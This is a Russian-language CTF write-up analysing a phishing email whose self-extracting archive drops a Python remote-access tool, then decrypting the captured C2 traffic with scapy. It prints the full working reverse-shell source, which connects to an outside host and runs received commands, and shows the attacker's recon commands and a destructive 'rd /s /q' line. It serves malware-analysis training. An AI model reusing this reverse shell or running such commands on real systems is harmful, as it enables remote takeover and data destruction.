Райтап на одну из самых комплексных задач отборочного этапа:
[1000 pts, reverse] 1_w1sh_1_w1ll_r3v3rs3_y0ur_r3m0t3_4dm1n_t00l
[1000 pts, reverse] 1_w1sh_1_w1ll_r3v3rs3_y0ur_r3m0t3_4dm1n_t00l
Привет. Нам тут фишинговое письмо прислали, представляешь! Решили закинуть в виртуалку, пошли пить чай, возвращаемся - а тут бадамс! - в виртуалке кавардак. Ну, хотя бы траффик записали.
Прикладываю письмо и дамп траффика. Задача весьма непростая, поэтому не стесняйтесь обращаться, я спокойно отвечу на вопросы по ней.
Автор: @hexadec1mal
Изучаем письмо. Формат eml можно открыть в почтовых приложениях типа Outlook, Mozilla Thunderbird.
Зашифровать архив, указать пароль от него в тексте письма, да еще и не точную версию (просьба добавить нижние подчеркивания) - отличная техника против почтовых антивирусов. Им не остается ничего, как либо пометить письмо как подозрительное, либо забраковать его - в зависимости от строгости политик.
Смотрим вердикт DIE по вложению в письме:
Скорее всего самораспаковывающийся архив WinRar. В виртуальной машине открываем файл WinRar-ом (это нужно, чтобы посмотреть скрипт sfx):
Хаха, глупый злоумышленник подписал свой файл как rat.pyw, что сразу намекает на класс вредоноса - Remote Admin Tool. Также файл не запустится, если на системе не стоит Python с пропиской в %PATH%.
Справа видим скрипт - при правильном пароле sfx-архив закинет своё содержание во временную папку, без вопросительных или вопросительных окон, и запустит скрипт.
Файл cr.py - почти неизменная реализация алгоритма AES из гитхаба.
А вот файл rat.pyw уже интереснее. Взглянем на него:
import os, socket, subprocess, time;
from cr import encrypt, decrypt
HOST = 'dubna2021-malware-analysis-task.disasm.me'
# HOST = 'localhost'
PORT = 43456
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
while 1:
try:
key = str(time.time()//100)
print("Sending...")
s.send(encrypt(key, os.getcwd() + "> ").encode())
print("Sent!")
data = s.recv(1024*16)
key = str(time.time()//100)
data = decrypt(key, data.decode()).decode()
print("RECV!", data)
if data == "quit":
exit()
if data.startswith("cd"):
os.chdir(data[3:])
if len(data) > 0:
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
output_str = str(stdout_value, "UTF-8")
s.send(encrypt(key, "\n" + output_str).encode())
except Exception as e:
print(e)
exit()
s.close()
Домен… Домен подсказывает, что это либо внутренний пентест, либо злоумышленник получил доступ к одному из доменов нашей организации, и с него ведет атаку… Кто знает, это тема не для сегодняшней разборки.
Мы видим простой реверс-шелл, который исполняет команды, полученные от контрольного сервера, при этом команды шифруются AES-ом, ключом текущее время с окном в 100 секунд. Неприятно, что скажешь…
Давайте посмотрим на дамп траффика. Заглянем в Statistics - Conversations:
Отлично, мы знаем домен… А он какой-то знакомый, не находите?) Отфильтруем пакеты по адресу:
Только 15% пакетов относятся к таску. И все эти пакеты относятся к одной TCP-сессии, что весьма удобно. А еще… У нас сохранилось время отправки каждого пакета! Офигеть, нам не придётся брутить время (хотя это тоже вариант) - мы можем без дополнительного кода решить таск. Сколько там пакетов? 50? Ручками за полчаса управимся. Однако автоматизация - друг молодёжи и аналитика, поэтому давайте автоматизируем, тем более что у нас почти всё для этого есть.
Очистим pcap, чтобы не приходилось писать лишние проверки в коде: File - Export Specified Packets - All Packets x Selected Packets.
Я страстно предлагаю питонистам пользоваться Jupyter Notebook или Jupyter Lab вместо консоли или текстовых файлов, это здорово ускоряет и облегчает разработку.
Вариантов парсить pcap-ы на питоне много, я использую scapy. Хоть инструмент сложнее простых парсеров, но и предоставляет много возможностей, например слушать интерфейс, фаззить пакеты.
Спустя 20 минут получился вот такой простенький код, который расшифровывает общение:
from scapy.all import *
a=rdpcap("cleared.pcapng")
from cr import encrypt, decrypt
prev_payload = b""
for pkt in a:
payload = pkt[TCP].payload
if payload and isinstance(payload, scapy.packet.Raw) and not isinstance(payload, scapy.packet.Padding): # clear from padding
#print(payload, type(payload))
payload = bytes(payload).decode()
print(pkt.summary())
try:
key = str(float(pkt.time) // 100)
dec = decrypt(key, payload)
print(dec.decode())
except:
print("Broken packet! Try to split")
payload = prev_payload + payload
dec = decrypt(key, payload)
print(dec.decode())
print("#"*30)
prev_payload = payload
Выхлоп скрипта представлен ниже:
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
C:\Users\ALEXEY~1\AppData\Local\Temp\RarSFX0>
##############################
Ether / IP / TCP 51.15.57.105:43456 > 10.0.2.15:49239 PA / Raw
dir
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
Volume in drive C has no label.
Volume Serial Number is 8CC1-6273
Directory of C:\Users\ALEXEY~1\AppData\Local\Temp\RarSFX0
04/29/2021 01:22 PM <DIR> .
04/29/2021 01:22 PM <DIR> ..
04/25/2021 08:39 AM 4,241 cr.py
04/25/2021 09:58 AM 1,116 rat.pyw
04/29/2021 01:22 PM <DIR> __pycache__
2 File(s) 5,357 bytes
3 Dir(s) 116,712,620,032 bytes free
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
C:\Users\ALEXEY~1\AppData\Local\Temp\RarSFX0>
##############################
Ether / IP / TCP 51.15.57.105:43456 > 10.0.2.15:49239 PA / Raw
cd ..
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
C:\Users\ALEXEY~1\AppData\Local\Temp>
##############################
Ether / IP / TCP 51.15.57.105:43456 > 10.0.2.15:49239 PA / Raw
dir
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 A / Raw
Volume in drive C has no label.
Volume Serial Number is 8CC1-6273
Directory of C:\Users\ALEXEY~1\AppData\Local\Temp
04/29/2021 01:22 PM <DIR> .
04/29/2021 01:22 PM <DIR> ..
04/29/2021 01:16 PM 0 04cb94b1-4898-4b81-b3f6-572731d44422.tmp
04/29/2021 01:20 PM 0 1e6aafd7-0380-4242-b9df-f869f8163af8.tmp
02/11/2020 12:59 PM 49,208 Alexey Nikiforov.bmp
04/29/2021 01:07 PM 24,363 chrome_installer.log
04/29/2021 01:05 PM 17,451 dd_vcredist_amd64_20210429130505.log
04/29/2021 01:05 PM 125,984 dd_vcredist_amd64_20210429130505_001_vcRuntimeMinimum_x64.log
04/29/2021 01:05 PM 131,826 dd_vcredist_amd64_20210429130505_002_vcRuntimeAdditional_x64.log
02/11/2020 12:59 PM 0 FXSAPIDebugLogFile.txt
04/29/2021 01:02 PM <DIR> Low
04/29/2021 01:01 PM <DIR> msdt
04/29/2021 01:16 PM 84,738 Python 3.6.8 (64-bit)_20210429131553.log
04/29/2021 01:16 PM 87,916 Python 3.6.8 (64-bit)_20210429131553_000_core_JustForMe.log
04/29/2021 01:16 PM 290,488 Python 3.6.8 (64-bit)_20210429131553_001_dev_JustForMe.log
04/29/2021 01:16 PM 116,028 Python 3.6.8 (64-bit)_20210429131553_002_exe_JustForMe.log
04/29/2021 01:16 PM 1,956,876 Python 3.6.8 (64-bit)_20210429131553_003_lib_JustForMe.log
04/29/2021 01:16 PM 2,415,066 Python 3.6.
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
Broken packet! Try to split
Volume in drive C has no label.
Volume Serial Number is 8CC1-6273
Directory of C:\Users\ALEXEY~1\AppData\Local\Temp
04/29/2021 01:22 PM <DIR> .
04/29/2021 01:22 PM <DIR> ..
04/29/2021 01:16 PM 0 04cb94b1-4898-4b81-b3f6-572731d44422.tmp
04/29/2021 01:20 PM 0 1e6aafd7-0380-4242-b9df-f869f8163af8.tmp
02/11/2020 12:59 PM 49,208 Alexey Nikiforov.bmp
04/29/2021 01:07 PM 24,363 chrome_installer.log
04/29/2021 01:05 PM 17,451 dd_vcredist_amd64_20210429130505.log
04/29/2021 01:05 PM 125,984 dd_vcredist_amd64_20210429130505_001_vcRuntimeMinimum_x64.log
04/29/2021 01:05 PM 131,826 dd_vcredist_amd64_20210429130505_002_vcRuntimeAdditional_x64.log
02/11/2020 12:59 PM 0 FXSAPIDebugLogFile.txt
04/29/2021 01:02 PM <DIR> Low
04/29/2021 01:01 PM <DIR> msdt
04/29/2021 01:16 PM 84,738 Python 3.6.8 (64-bit)_20210429131553.log
04/29/2021 01:16 PM 87,916 Python 3.6.8 (64-bit)_20210429131553_000_core_JustForMe.log
04/29/2021 01:16 PM 290,488 Python 3.6.8 (64-bit)_20210429131553_001_dev_JustForMe.log
04/29/2021 01:16 PM 116,028 Python 3.6.8 (64-bit)_20210429131553_002_exe_JustForMe.log
04/29/2021 01:16 PM 1,956,876 Python 3.6.8 (64-bit)_20210429131553_003_lib_JustForMe.log
04/29/2021 01:16 PM 2,415,066 Python 3.6.8 (64-bit)_20210429131553_004_test_JustForMe.log
04/29/2021 01:16 PM 97,818 Python 3.6.8 (64-bit)_20210429131553_005_doc_JustForMe.log
04/29/2021 01:16 PM 324,344 Python 3.6.8 (64-bit)_20210429131553_006_tools_JustForMe.log
04/29/2021 01:16 PM 3,242,744 Python 3.6.8 (64-bit)_20210429131553_007_tcltk_JustForMe.log
04/29/2021 01:16 PM 106,476 Python 3.6.8 (64-bit)_20210429131553_008_launcher_AllUsers.log
04/29/2021 01:16 PM 86,620 Python 3.6.8 (64-bit)_20210429131553_009_pip_JustForMe.log
04/29/2021 01:16 PM 87,988 Python 3.6.8 (64-bit)_20210429131553_010_path_JustForMe.log
04/29/2021 01:22 PM <DIR> RarSFX0
04/29/2021 01:08 PM <DIR> VirtualBox Dropped Files
04/29/2021 01:22 PM 360 wireshark_Local Area ConnectionO4HP20.pcapng
21 File(s) 9,246,294 bytes
6 Dir(s) 116,712,620,032 bytes free
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
C:\Users\ALEXEY~1\AppData\Local\Temp>
##############################
Ether / IP / TCP 51.15.57.105:43456 > 10.0.2.15:49239 PA / Raw
cd ..
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
C:\Users\ALEXEY~1\AppData\Local>
##############################
Ether / IP / TCP 51.15.57.105:43456 > 10.0.2.15:49239 PA / Raw
dir
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
Volume in drive C has no label.
Volume Serial Number is 8CC1-6273
Directory of C:\Users\ALEXEY~1\AppData\Local
04/29/2021 01:16 PM <DIR> .
04/29/2021 01:16 PM <DIR> ..
02/11/2020 02:20 PM <DIR> Diagnostics
04/29/2021 01:16 PM <DIR> Google
02/11/2020 12:59 PM <DIR> Microsoft
04/29/2021 01:16 PM <DIR> Package Cache
04/29/2021 01:16 PM <DIR> Programs
04/29/2021 01:22 PM <DIR> Temp
02/11/2020 12:59 PM <DIR> VirtualStore
0 File(s) 0 bytes
9 Dir(s) 116,712,620,032 bytes free
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
C:\Users\ALEXEY~1\AppData\Local>
##############################
Ether / IP / TCP 51.15.57.105:43456 > 10.0.2.15:49239 PA / Raw
cd ..\..
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
C:\Users\ALEXEY~1>
##############################
Ether / IP / TCP 51.15.57.105:43456 > 10.0.2.15:49239 PA / Raw
dir
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
Volume in drive C has no label.
Volume Serial Number is 8CC1-6273
Directory of C:\Users\ALEXEY~1
02/11/2020 12:59 PM <DIR> .
02/11/2020 12:59 PM <DIR> ..
02/11/2020 12:59 PM <DIR> Contacts
04/29/2021 01:08 PM <DIR> Desktop
02/11/2020 12:59 PM <DIR> Documents
04/29/2021 01:15 PM <DIR> Downloads
02/11/2020 12:59 PM <DIR> Favorites
02/11/2020 12:59 PM <DIR> Links
02/11/2020 12:59 PM <DIR> Music
02/11/2020 12:59 PM <DIR> Pictures
02/11/2020 12:59 PM <DIR> Saved Games
02/11/2020 12:59 PM <DIR> Searches
02/11/2020 12:59 PM <DIR> Videos
0 File(s) 0 bytes
13 Dir(s) 116,712,620,032 bytes free
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
C:\Users\ALEXEY~1>
##############################
Ether / IP / TCP 51.15.57.105:43456 > 10.0.2.15:49239 PA / Raw
dir Documents
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
Volume in drive C has no label.
Volume Serial Number is 8CC1-6273
Directory of C:\Users\ALEXEY~1\Documents
02/11/2020 12:59 PM <DIR> .
02/11/2020 12:59 PM <DIR> ..
0 File(s) 0 bytes
2 Dir(s) 116,712,620,032 bytes free
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
C:\Users\ALEXEY~1>
##############################
Ether / IP / TCP 51.15.57.105:43456 > 10.0.2.15:49239 PA / Raw
dir Pictures
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
Volume in drive C has no label.
Volume Serial Number is 8CC1-6273
Directory of C:\Users\ALEXEY~1\Pictures
02/11/2020 12:59 PM <DIR> .
02/11/2020 12:59 PM <DIR> ..
0 File(s) 0 bytes
2 Dir(s) 116,712,071,168 bytes free
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
C:\Users\ALEXEY~1>
##############################
Ether / IP / TCP 51.15.57.105:43456 > 10.0.2.15:49239 PA / Raw
whoami
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
alexeynikiforov\alexey nikiforov
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
C:\Users\ALEXEY~1>
##############################
Ether / IP / TCP 51.15.57.105:43456 > 10.0.2.15:49239 PA / Raw
net user
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
User accounts for \\ALEXEYNIKIFOROV
-------------------------------------------------------------------------------
Administrator Alexey Nikiforov Guest
The command completed successfully.
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
C:\Users\ALEXEY~1>
##############################
Ether / IP / TCP 51.15.57.105:43456 > 10.0.2.15:49239 PA / Raw
ver
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
Microsoft Windows [Version 6.1.7601]
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
C:\Users\ALEXEY~1>
##############################
Ether / IP / TCP 51.15.57.105:43456 > 10.0.2.15:49239 PA / Raw
ipconfig
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::60b6:f1ea:7574:81bc%11
IPv4 Address. . . . . . . . . . . : 10.0.2.15
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.0.2.2
Tunnel adapter isatap.{E56B6F31-ADEA-4B0E-8F03-36F0BC5FC597}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
C:\Users\ALEXEY~1>
##############################
Ether / IP / TCP 51.15.57.105:43456 > 10.0.2.15:49239 PA / Raw
tasklist
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
Image Name PID Session Name Session# Mem Usage
========================= ======== ================ =========== ============
System Idle Process 0 Services 0 24 K
System 4 Services 0 2,836 K
smss.exe 268 Services 0 836 K
csrss.exe 352 Services 0 3,268 K
wininit.exe 404 Services 0 3,584 K
csrss.exe 412 Console 1 8,572 K
winlogon.exe 468 Console 1 5,080 K
services.exe 504 Services 0 6,760 K
lsass.exe 520 Services 0 8,316 K
lsm.exe 528 Services 0 3,312 K
svchost.exe 628 Services 0 7,216 K
VBoxService.exe 692 Services 0 4,424 K
svchost.exe 748 Services 0 6,240 K
svchost.exe 800 Services 0 15,460 K
svchost.exe 908 Services 0 71,648 K
svchost.exe 960 Services 0 29,176 K
svchost.exe 572 Services 0 11,380 K
svchost.exe 956 Services 0 26,048 K
spoolsv.exe 1136 Services 0 7,588 K
svchost.exe 1192 Services 0 10,224 K
taskhost.exe 1328 Console 1 7,212 K
svchost.exe 1336 Services 0 8,224 K
sppsvc.exe 1752 Services 0 6,452 K
dwm.exe 1800 Console 1 3,924 K
explorer.exe 1240 Console 1 45,044 K
VBoxTray.exe 940 Console 1 5,464 K
SearchIndexer.exe 1112 Services 0 14,996 K
svchost.exe 2212 Services 0 10,288 K
chrome.exe 2864 Console 1 121,132 K
chrome.exe 2876 Console 1 5,412 K
chrome.exe 3024 Console 1 28,056 K
chrome.exe 3060 Console 1 18,268 K
chrome.exe 2484 Console 1 32,848 K
svchost.exe 592 Services 0 24,724 K
msiexec.exe 3568 Services 0 16,196 K
chrome.exe 3348 Console 1 132,132 K
taskmgr.exe 2836 Console 1 9,076 K
Wireshark.exe 2268 Console 1 133,172 K
taskeng.exe 3872 Services 0 4,640 K
chrome.exe 2084 Console 1 21,008 K
dumpcap.exe 2076 Console 1 7,244 K
conhost.exe 924 Console 1 4,452 K
????? ??? ?????? ?? ????. 3288 Console 1 11,120 K
pythonw.exe 2680 Console 1 11,132 K
cmd.exe 2712 Console 1 2,468 K
conhost.exe 3208 Console 1 4,376 K
tasklist.exe 2936 Console 1 5,172 K
WmiPrvSE.exe 1380 Services 0 5,740 K
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
C:\Users\ALEXEY~1>
##############################
Ether / IP / TCP 51.15.57.105:43456 > 10.0.2.15:49239 PA / Raw
echo "hell no there is wireshark"
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
"hell no there is wireshark"
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
C:\Users\ALEXEY~1>
##############################
Ether / IP / TCP 51.15.57.105:43456 > 10.0.2.15:49239 PA / Raw
echo "... and virtualbox..."
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
"... and virtualbox..."
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
C:\Users\ALEXEY~1>
##############################
Ether / IP / TCP 51.15.57.105:43456 > 10.0.2.15:49239 PA / Raw
echo "Am I monitored?"
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
"Am I monitored?"
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
C:\Users\ALEXEY~1>
##############################
Ether / IP / TCP 51.15.57.105:43456 > 10.0.2.15:49239 PA / Raw
echo "dubna{1_d0_n07_l1k3_pr3p4r3d_3nv1r0nm3n7}" > flag.txt
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
C:\Users\ALEXEY~1>
##############################
Ether / IP / TCP 51.15.57.105:43456 > 10.0.2.15:49239 PA / Raw
rm flag.txt
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
'rm' is not recognized as an internal or external command,
operable program or batch file.
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
C:\Users\ALEXEY~1>
##############################
Ether / IP / TCP 51.15.57.105:43456 > 10.0.2.15:49239 PA / Raw
remove flag.txt
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
'remove' is not recognized as an internal or external command,
operable program or batch file.
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
C:\Users\ALEXEY~1>
##############################
Ether / IP / TCP 51.15.57.105:43456 > 10.0.2.15:49239 PA / Raw
del flag.txt
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
C:\Users\ALEXEY~1>
##############################
Ether / IP / TCP 51.15.57.105:43456 > 10.0.2.15:49239 PA / Raw
cd ..
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
C:\Users>
##############################
Ether / IP / TCP 51.15.57.105:43456 > 10.0.2.15:49239 PA / Raw
dir
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
Volume in drive C has no label.
Volume Serial Number is 8CC1-6273
Directory of C:\Users
02/11/2020 12:59 PM <DIR> .
02/11/2020 12:59 PM <DIR> ..
04/29/2021 01:30 PM <DIR> Alexey Nikiforov
07/13/2009 09:59 PM <DIR> Public
0 File(s) 0 bytes
4 Dir(s) 116,709,670,912 bytes free
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
C:\Users>
##############################
Ether / IP / TCP 51.15.57.105:43456 > 10.0.2.15:49239 PA / Raw
echo "hahah! Bye!"
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
"hahah! Bye!"
##############################
Ether / IP / TCP 10.0.2.15:49239 > 51.15.57.105:43456 PA / Raw
C:\Users>
##############################
Ether / IP / TCP 51.15.57.105:43456 > 10.0.2.15:49239 PA / Raw
rd /s /q .\
##############################
То есть следуя цепочке действий, злоумышленник провёл небольшую разведку с помощью команд dir
, cd
, whoami
, net user
, ver
, ipconfig
, в tasklist
обнаружил работающий wireshark
и агент virtualbox
-а, положил флаг в корень пользовательской директории, затем его удалил, после чего запустил аналог rm -rf
.
UPD: как можно обойтись без знания времени, которое хранится в pcap (вдруг об этом только что узнали)?
Можно попробовать побрутить время, предположив, что автор написал таск k недель назад (в принципе можем отталкиваться от времени отправки письма). Вот простенький скрипт на брут последних 6 месяцев в данном случае:
from cr import encrypt, decrypt
for pkt in a:
payload = pkt[TCP].payload
if payload and isinstance(payload, scapy.packet.Raw) and not isinstance(payload, scapy.packet.Padding): # clear from padding
#print(payload, type(payload))
payload = bytes(payload).decode()
break
payload # '1B139558C58BDA66AF8ED4F885AF86A1A0C52D2E58309C1105D08FE22343A8D642F9473D62DEAFEDBF786497F194'
import time
from string import printable
t = time.time()
tt = t - 6*30*24*60*60
for key in range(int(tt//100), int(t//100)):
key = str(float(key)) # там именно float, нам нужно .0 на конце
dec = decrypt(key, payload)
if all(chr(i) in printable for i in dec[:10]): # вхождение первых 10 символов в печатаемые
print("Candidate", key, dec)
Выхлоп:
Candidate 16081773.0 b"?WlK')bHb{\xfe\xb6~\x1a\xbb\x9bwH\xd7\r\xc6\xbaq\xbd\xb0=\x04D\xa4\xb8!\xb2'P\x80\xe2Sy\x8b\x11\xd5\xc5'\xfce\xbb"
Candidate 16104704.0 b'I#kAr2e~]\x0ci\x1cA\x897\x046\x96\x0b\xe3]\xd6\x14\xd5yG`b \xe0o\xbcYkY\xc5\x1dR\xcdO\xc8>c\xcb\xc0h'
Candidate 16104759.0 b'\x0bNVt@Oq>D)0\xd6\xf6\xca\x0c\x06l.z\x87\xdf89\x06\x14Z\x9c\x94\x9a\x8dTRg\x08\x86"\x9d\x9b@/\rr:\xc8\xcf\x89'
Candidate 16108652.0 b"UkP=8LB;7'\xe3\xc9\x07j\xa2~\x05<\xcc\x91)\n\x01\xfd\x0c\xed\xa7:\xcf\x857\x8fi\x045\xdc\xaf\xf5\x08\xb2\x1d\x9c\x0e\r\xc8\x13"
Candidate 16112173.0 b'e9Z\x0c"/p9YM\xc2F%\x01\x0e\'\xf8\x84\x17\xe3O\'\xfaZe\x90\xf50\xdfI{\xce\x82\xee\x91~\x9c\xd1\xa9\x061du\xae\xb3\xe9'
Candidate 16113055.0 b'|XEm3st1qB\xf3\xf2)\x18\xf7\xf2k\x9f\xd4\xd3r\xe5H\xbbz3\xb3\xdb\x920s\x04wT;z7{G\x9d\xce\x83\r\xb5"-'
Candidate 16128720.0 b'6HC>A_a+v[\xd9L\x1e\xe8\x9b\xda\x1d*c\x89\xa7\xbau\x9fa0H\x99\xa9\xb8\xa6Ej2\x17\x15\x90\xfb\xeajF<\xbe\xca\xabm'
Candidate 16135348.0 b'xK\r/qmv\x0ck1\xa2\x9e\xfdU6\xbas\xc4\x12Z\x83\xb2\xd7\xbb\xcaS\xa9}\x85\x1e\xf5\x0f\t\x85\x1dxX\xfdh\\\xf0p\xfe\xf7J\xf7'
Candidate 16141547.0 b'd,gQ!`ib2O\xacd\xd8\x8eD$E\xa0\xfd\x0c9\xfd\x0b\xa1\xc1O\xe6@}\xd4m\xe6\xbea/#\x13\xfb\xe3\xde<2Z\x9fDO'
Candidate 16158631.0 b"\t)Bn&2,O<MA6\xecX\xae9z>z\xdc\x8f'V)\xfd\xd2&\xcd\x00\xe7\xf3\x82\x1b\xbc\xb98\x91\xc2g~\xef\x1b\x85\x1f\xe5\xc4"
Candidate 16159206.0 b']0Lo aafb>\x02\xcb\xa3>\x8f\xbc\xa9.@\x10\x0e\x10\xdcV\x9f\xe1b\xf5\xd2\x81\x9bf\xfbVhlN\x97\x19ma\xb7\xa4\x168e'
Candidate 16161914.0 b'%hywIRTK(H\xe7\x14l\x15Fl\x8c\xc2\xae\xbd\xe6\xb4\xda,\xdc\xda\xa9;\xca\xb6)\x1b\xf8eV\xd8\xbdY\xbf\x98\xcc&\xbb\xe6\xdd\x04'
Candidate 16167493.0 b'.11_nn9Kv`\x10\x1d4\x83\xa3\xad\xf6k%F\xcc\x18\xac\x1ec\x1a\x8e\x9et\xec\x8b=\xc4\x1e\x8f\xfe\xf1\xc5\xfe\xd4\xbdc\x9e\xf1\x16^'
Candidate 16191819.0 b'0ArYz(X9j%\xea\x0e\xaa.>\xb0\xd5\xc0\xd6\x92\xd0S\xbe\x9b\x8f\xe2V_\xe0\x02b\x93l\xd7\x0e\xbd\xb5\x0c\xf0\xdc\xf6&K\x9e#\xa8'
Candidate 16193484.0 b')py/^v/iyf\xdb\xdcN\xf8\x1eh\x0bk\xe0b\xfd\xc90\x9e\xfey\x9d\xa4\n\xe2x\xef\x86.k{\xc3O\x0f\xe6\x11W\x7f\xday.'
Candidate 16197277.0 b'C:\\Users\\ALEXEY~1\\AppData\\Local\\Temp\\RarSFX0> '
Нашли правильный ключ! Всё, мы замечательны!